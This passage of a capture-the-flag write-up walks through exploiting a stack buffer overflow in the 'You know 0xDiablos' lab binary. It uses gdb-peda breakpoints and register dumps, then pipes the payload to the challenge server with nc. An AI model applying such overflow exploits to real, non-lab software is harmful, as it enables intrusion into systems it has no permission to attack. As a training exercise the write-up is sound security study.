Legend: code, data, rodata, value
Breakpoint 1, 0x080491e6 in flag ()
gdb-peda$
and set two breakpoints at the addresses where the parameters are compared.
...
0x08049246 <+100>: cmp DWORD PTR [ebp+0x8],0xdeadbeef
...
0x0804924f <+109>: cmp DWORD PTR [ebp+0xc],0xc0ded00d
...
# gdb command
gdb-peda$ b *0x08049246
gdb-peda$ b *0x0804924f
# terminal interaction
gdb-peda$ disass flag
Dump of assembler code for function flag:
0x080491e2 <+0>: push ebp
0x080491e3 <+1>: mov ebp,esp
0x080491e5 <+3>: push ebx
=> 0x080491e6 <+4>: sub esp,0x54
0x080491e9 <+7>: call 0x8049120 <__x86.get_pc_thunk.bx>
0x080491ee <+12>: add ebx,0x2e12
0x080491f4 <+18>: sub esp,0x8
0x080491f7 <+21>: lea eax,[ebx-0x1ff8]
0x080491fd <+27>: push eax
0x080491fe <+28>: lea eax,[ebx-0x1ff6]
0x08049204 <+34>: push eax
0x08049205 <+35>: call 0x80490b0 <fopen@plt>
0x0804920a <+40>: add esp,0x10
0x0804920d <+43>: mov DWORD PTR [ebp-0xc],eax
0x08049210 <+46>: cmp DWORD PTR [ebp-0xc],0x0
0x08049214 <+50>: jne 0x8049232 <flag+80>
0x08049216 <+52>: sub esp,0xc
0x08049219 <+55>: lea eax,[ebx-0x1fec]
0x0804921f <+61>: push eax
0x08049220 <+62>: call 0x8049070 <puts@plt>
0x08049225 <+67>: add esp,0x10
0x08049228 <+70>: sub esp,0xc
0x0804922b <+73>: push 0x0
0x0804922d <+75>: call 0x8049080 <exit@plt>
0x08049232 <+80>: sub esp,0x4
0x08049235 <+83>: push DWORD PTR [ebp-0xc]
0x08049238 <+86>: push 0x40
0x0804923a <+88>: lea eax,[ebp-0x4c]
0x0804923d <+91>: push eax
0x0804923e <+92>: call 0x8049050 <fgets@plt>
0x08049243 <+97>: add esp,0x10
0x08049246 <+100>: cmp DWORD PTR [ebp+0x8],0xdeadbeef
0x0804924d <+107>: jne 0x8049269 <flag+135>
0x0804924f <+109>: cmp DWORD PTR [ebp+0xc],0xc0ded00d
0x08049256 <+116>: jne 0x804926c <flag+138>
0x08049258 <+118>: sub esp,0xc
0x0804925b <+121>: lea eax,[ebp-0x4c]
0x0804925e <+124>: push eax
0x0804925f <+125>: call 0x8049030 <printf@plt>
0x08049264 <+130>: add esp,0x10
0x08049267 <+133>: jmp 0x804926d <flag+139>
0x08049269 <+135>: nop
0x0804926a <+136>: jmp 0x804926d <flag+139>
0x0804926c <+138>: nop
0x0804926d <+139>: mov ebx,DWORD PTR [ebp-0x4]
0x08049270 <+142>: leave
0x08049271 <+143>: ret
End of assembler dump.
gdb-peda$ b *0x08049246
Breakpoint 2 at 0x8049246
gdb-peda$ b *0x0804924f
Breakpoint 3 at 0x804924f
gdb-peda$
Then we continue with the execution.
# gdb command
c
# terminal interaction
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0xffffd010 ("SUCCESS")
EBX: 0x804c000 --> 0x804bf10 --> 0x1
ECX: 0x0
EDX: 0xfbad2498
ESI: 0xf7faa000 --> 0x1e3d6c
EDI: 0xf7faa000 --> 0x1e3d6c
EBP: 0xffffd05c ("AAAAAAAAᆳ\336\r\320\336\300")
ESP: 0xffffd004 ('A' <repeats 12 times>, "SUCCESS")
EIP: 0x8049246 (<flag+100>: cmp DWORD PTR [ebp+0x8],0xdeadbeef)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804923d <flag+91>: push eax
0x804923e <flag+92>: call 0x8049050 <fgets@plt>
0x8049243 <flag+97>: add esp,0x10
=> 0x8049246 <flag+100>: cmp DWORD PTR [ebp+0x8],0xdeadbeef
0x804924d <flag+107>: jne 0x8049269 <flag+135>
0x804924f <flag+109>: cmp DWORD PTR [ebp+0xc],0xc0ded00d
0x8049256 <flag+116>: jne 0x804926c <flag+138>
0x8049258 <flag+118>: sub esp,0xc
[------------------------------------stack-------------------------------------]
0000| 0xffffd004 ('A' <repeats 12 times>, "SUCCESS")
0004| 0xffffd008 ("AAAAAAAASUCCESS")
0008| 0xffffd00c ("AAAASUCCESS")
0012| 0xffffd010 ("SUCCESS")
0016| 0xffffd014 --> 0x535345 ('ESS')
0020| 0xffffd018 ('A' <repeats 56 times>, "\260\341\004\b", 'A' <repeats 16 times>, "ᆳ\336\r\320\336\300")
0024| 0xffffd01c ('A' <repeats 52 times>, "\260\341\004\b", 'A' <repeats 16 times>, "ᆳ\336\r\320\336\300")
0028| 0xffffd020 ('A' <repeats 48 times>, "\260\341\004\b", 'A' <repeats 16 times>, "ᆳ\336\r\320\336\300")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, 0x08049246 in flag ()
gdb-peda$
Let’s check the registers if they were correctly overwritten or not.
# gdb command
x/xw $ebp+0x8
x/xw $ebp+0xc
# terminal interaction
gdb-peda$ x/xw $ebp+0x8
0xffffd064: 0xdeadbeef
gdb-peda$ x/xw $ebp+0xc
0xffffd068: 0xc0ded00d
gdb-peda$
Great, they are filled exactly as how we wanted. Once we continue with the execution and over the two breakpoints we previously set, our flag’s value -SUCCESS- is displayed for us briefly, right before the program crashes.
# shell command
# terminal interaction
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0xffffd010 ("SUCCESS")
EBX: 0x804c000 --> 0x804bf10 --> 0x1
ECX: 0x0
EDX: 0xfbad2498
ESI: 0xf7faa000 --> 0x1e3d6c
EDI: 0xf7faa000 --> 0x1e3d6c
EBP: 0xffffd05c ("AAAAAAAAᆳ\336\r\320\336\300")
ESP: 0xffffd004 ('A' <repeats 12 times>, "SUCCESS")
EIP: 0x804924f (<flag+109>: cmp DWORD PTR [ebp+0xc],0xc0ded00d)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8049243 <flag+97>: add esp,0x10
0x8049246 <flag+100>: cmp DWORD PTR [ebp+0x8],0xdeadbeef
0x804924d <flag+107>: jne 0x8049269 <flag+135>
=> 0x804924f <flag+109>: cmp DWORD PTR [ebp+0xc],0xc0ded00d
0x8049256 <flag+116>: jne 0x804926c <flag+138>
0x8049258 <flag+118>: sub esp,0xc
0x804925b <flag+121>: lea eax,[ebp-0x4c]
0x804925e <flag+124>: push eax
[------------------------------------stack-------------------------------------]
0000| 0xffffd004 ('A' <repeats 12 times>, "SUCCESS")
0004| 0xffffd008 ("AAAAAAAASUCCESS")
0008| 0xffffd00c ("AAAASUCCESS")
0012| 0xffffd010 ("SUCCESS")
0016| 0xffffd014 --> 0x535345 ('ESS')
0020| 0xffffd018 ('A' <repeats 56 times>, "\260\341\004\b", 'A' <repeats 16 times>, "ᆳ\336\r\320\336\300")
0024| 0xffffd01c ('A' <repeats 52 times>, "\260\341\004\b", 'A' <repeats 16 times>, "ᆳ\336\r\320\336\300")
0028| 0xffffd020 ('A' <repeats 48 times>, "\260\341\004\b", 'A' <repeats 16 times>, "ᆳ\336\r\320\336\300")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 3, 0x0804924f in flag ()
gdb-peda$ c
Continuing.
SUCCESS
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x7
EBX: 0x41414141 ('AAAA')
ECX: 0x7
EDX: 0xffffffff
ESI: 0xf7faa000 --> 0x1e3d6c
EDI: 0xf7faa000 --> 0x1e3d6c
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd064 --> 0xdeadbeef
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffd064 --> 0xdeadbeef
0004| 0xffffd068 --> 0xc0ded00d
0008| 0xffffd06c --> 0x300
0012| 0xffffd070 --> 0xffffd090 --> 0x1
0016| 0xffffd074 --> 0x0
0020| 0xffffd078 --> 0x0
0024| 0xffffd07c --> 0xf7de0e46 (<__libc_start_main+262>: add esp,0x10)
0028| 0xffffd080 --> 0xf7faa000 --> 0x1e3d6c
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
gdb-peda$
VERIFYING-THE-RESULTS
Our payload appears to be working, so let’s try it directly on our executable.
# shell command
cat payload.txt | ./vuln
# terminal interaction
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$ cat payload.txt | ./vuln
You know who are 0xDiablos:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���Aᆳ�
SUCCESSSegmentation fault
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$
Great, it works. All that’s left for us now is to spawn the challenge machine and submit our payload to get the flag.
# shell command
cat payload.txt | nc <challenge-box-ip> <challenge-box-port>
# terminal interaction
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$ cat payload.txt | nc 178.62.78.169 30660
You know who are 0xDiablos:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���Aᆳ�
<flag>┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$
Finally, we submit the flag and review the challenge before terminating the challenge box.